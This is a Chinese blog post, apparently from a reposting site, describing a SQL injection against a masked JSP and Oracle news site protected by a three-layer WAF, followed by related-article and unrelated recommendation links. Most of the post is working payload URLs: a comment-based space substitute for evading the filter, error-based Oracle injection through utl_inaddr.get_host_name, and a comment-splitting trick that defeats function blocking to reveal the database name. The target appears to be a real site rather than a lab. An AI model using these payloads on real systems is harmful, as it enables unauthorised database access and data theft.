打开:www.xxxx.com/news/detail.jsp?id=2862

我们经过测试知道此处含有sql注入。我们尝试下:

http://www.xxxxxx.com/news/detail.jsp?id=2862%27  加入单引号,然后就报错:

可以看到,字符型注入。但是此处有防火墙。我们测试下 ‘ and 1=1-- +

可以看到,直接被防火墙拦截了。而且拦截及其变态。连anxd都拦截。

既然拦截了anxd,我们推测他应该是过滤的后面,比如1=1 那么我们换成1 like 1试试:

换成and 1 like 1会显示系统错误。在这里,相当于连最基础的正确语句都无法执行。可想而知,这个网站至少有两层过滤,一层防火墙,一层代码过滤。 like被过滤,只能硬拼了。直接硬钢waf。另外,如果此处为mysql+php那么绕过也许不会那么难受,但是此处是jsp+oracle。  Oracle语法基本就那么几种,像/*!50000 这种类型的都不可以用,所以给绕过带来了极大的困难。

我们直接钢waf。我们尝试是否有可以替代空格的进行绕过,看看waf是否有所疏漏,经过大量测试,发现/*%23%0a*/可以替换空格,进行绕过。我们尝试下:

And 1=1

And 1=2

看到成功,非常开心。然后当我满怀欣喜准备大杀四方的时候,输入order by 10的时候一脸懵逼:

居然又被防火墙拦截。前面不知道大家是否记得我说过了,此处防火墙最起码有两层过滤,但是经过我测试最终发现,其实有三层过滤。真是令人窒息的防火墙。

这样又增加了很多困难。在此处,因为要进行联合查询,而基本的order by 都会拦截,那么联合查询更难突破,因为要同时突破unon select from这三个无意是判了死刑。

联想到 http://www.xxxxxx.com/news/detail.jsp?id=2862%27  加入单引号,然后就报错:

我们可以采用显错注入。首先,我们来获取数据库名:

http://www.xxxxxx.com/news/detail.jsp?id=2862'and/*%23%0a*/1=utl_inaddr.get_host_name((ora_database_name))--  访问后结果如下:

然后发现,又被拦截。虽然是意料之中,但是还是想说一句:我勒个擦。

经过测试发现拦截了utl_inaddr.get_host_name函数。众所周知,mysql可以用/*!information_schema*/.SCHEMATA 此语法进行绕过测试。但是oracle是肯定不支持此语法的。不信我们试试:

http://www.xxxxxx.com/news/detail.jsp?id=2862'and/*%23%0a*/1=/*!utl_inaddr*/.get_host_name((ora_database_name))--

可以看到,执行失败,语法是错误的。我们不要灰心。

此处,我们思维就需要进行改变,我们不能像这种形式:/*!information_schema*/.SCHEMATA

但是可以这一种。information_schema./*!*/SCHEMATA

然后进行尝试:

http://www.xxxxx.com/news/detail.jsp?id=2862'and/*%23%0a*/1=utl_inaddr./*%23%0a*/get_host_name((ora_database_name))--

成功绕过取得sys库。

sql注入之一次艰难的绕过-三层防护(oracle)的更多相关文章

  1. [转]高级SQL注入:混淆和绕过

    ############# [0×00] – 简介[0×01] – 过滤规避(Mysql)[0x01a] – 绕过函数和关键词的过滤[0x01b] – 绕过正则表达式过滤[0×02] – 常见绕过技术 ...

  2. 初探SQL注入

    1.1注入语句(通过时间注入函数) 数据库名称 localhost:8080/ScriptTest/userServlet?username='union SELECT IF(SUBSTRING(cu ...

  3. SQL注入技术专题—由浅入深【精华聚合】

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23569276来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 不管用什么语言编写的Web应用 ...

  4. 十大关系数据库SQL注入工具一览

    摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker ...

  5. Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。

    Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...

  6. 10个SQL注入工具(转载)

    众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...

  7. SQL注入学习资料总结

    转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...

  8. 关于SQL注入,你应该知道的那些事

    戴上你的黑帽,现在我们来学习一些关于SQL注入真正有趣的东西.请记住,你们都好好地用这些将要看到的东西,好吗? SQL注入攻击因如下几点而是一种特别有趣的冒险: 1.因为能自动规范输入的框架出现,写出 ...

  9. [转载] 我的WafBypass之道(SQL注入篇)

    我的WafBypass之道(SQL注入篇) Web安全 作者:先知技术社区   2016-11-23  7,566   [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址  安全脉搏编辑huan97 ...

随机推荐

  1. Linux 环境下程序不间断运行

    一.背景     在linux命令行中执行程序,程序通常会占用当前终端,如果不启动新的终端就没法执行其他操作.简单可以通过'&'将程序放到后台执行,但是这种方法有个问题就是,一旦连接远程服务器 ...

  2. 使用docker搭建wordpress

    前言 去年在学习docker,在看完菜鸟教程和第一本docker书后,一直想实战用一下这个技术,多用用才能熟能生巧,真正体验它的利弊.正好傅老板用docker搭完了wordpress,我也就手痒跟着搭 ...

  3. Flex进度条

    Flex中,进度条的皮肤,以及使用Timer让它自动增加~ mxml中: <mx:ProgressBar id="proBar" verticalCenter="0 ...

  4. CentOS7上LNMP安装包一步搭建LNMP环境

    系统需求: CentOS/RHEL/Fedora/Debian/Ubuntu/Raspbian Linux系统 需要5GB以上硬盘剩余空间 需要128MB以上内存(如果为128MB的小内存VPS,Xe ...

  5. 蚂蚁爬杆问题 UVA 10881

    算法入门经典训练指南上的题. 这里有必要讲一下蚂蚁爬杆问题:每只蚂蚁都有一个初始方向,相撞会转向,关键就是相撞的处理,由于速度并不会改变,两只蚂蚁相撞,可以看做,两只蚂蚁穿过对方,继续沿原方向前进,经 ...

  6. Python接口自动化测试 HTTP协议

    一.HTTP协议简述 二.URL 三.请求 四.响应 五.消息报头 六.常见问题

  7. Redis持久化存储

    Redis是一个支持持久化的内存数据库,也就是说redis需要经常将内存中的数据同步到磁盘来保证持久化.redis支持四种持久化方式,一是 Snapshotting(快照)也是默认方式:二是Appen ...

  8. MyBatis入门一

    本人只是刚刚学习MyBatis,作为学习路程的记录,写的不好,不完善的地方请多多包涵: 首先,先比较一下Hibernate和MyBatis两种框架之间的区别: 两种都是ORM框架,但是Hibernat ...

  9. python函数式编程之装饰器(二)

    以前用装饰器,都是定义好了装饰器后,使用@装饰器名的方法写入被装饰函数的正上方 在这里,定义的装饰器都是没有参数的 在定义装饰器的函数的时候,没有在括号里定义参数,这就叫做无参装饰器 既然有无参装饰器 ...

  10. Android View绘制和显示原理简介

    现在越来越多的应用开始重视流畅度方面的测试,了解Android应用程序是如何在屏幕上显示的则是基础中的基础,就让我们一起看看小小屏幕中大大的学问.这也是我下篇文章--<Android应用流畅度测 ...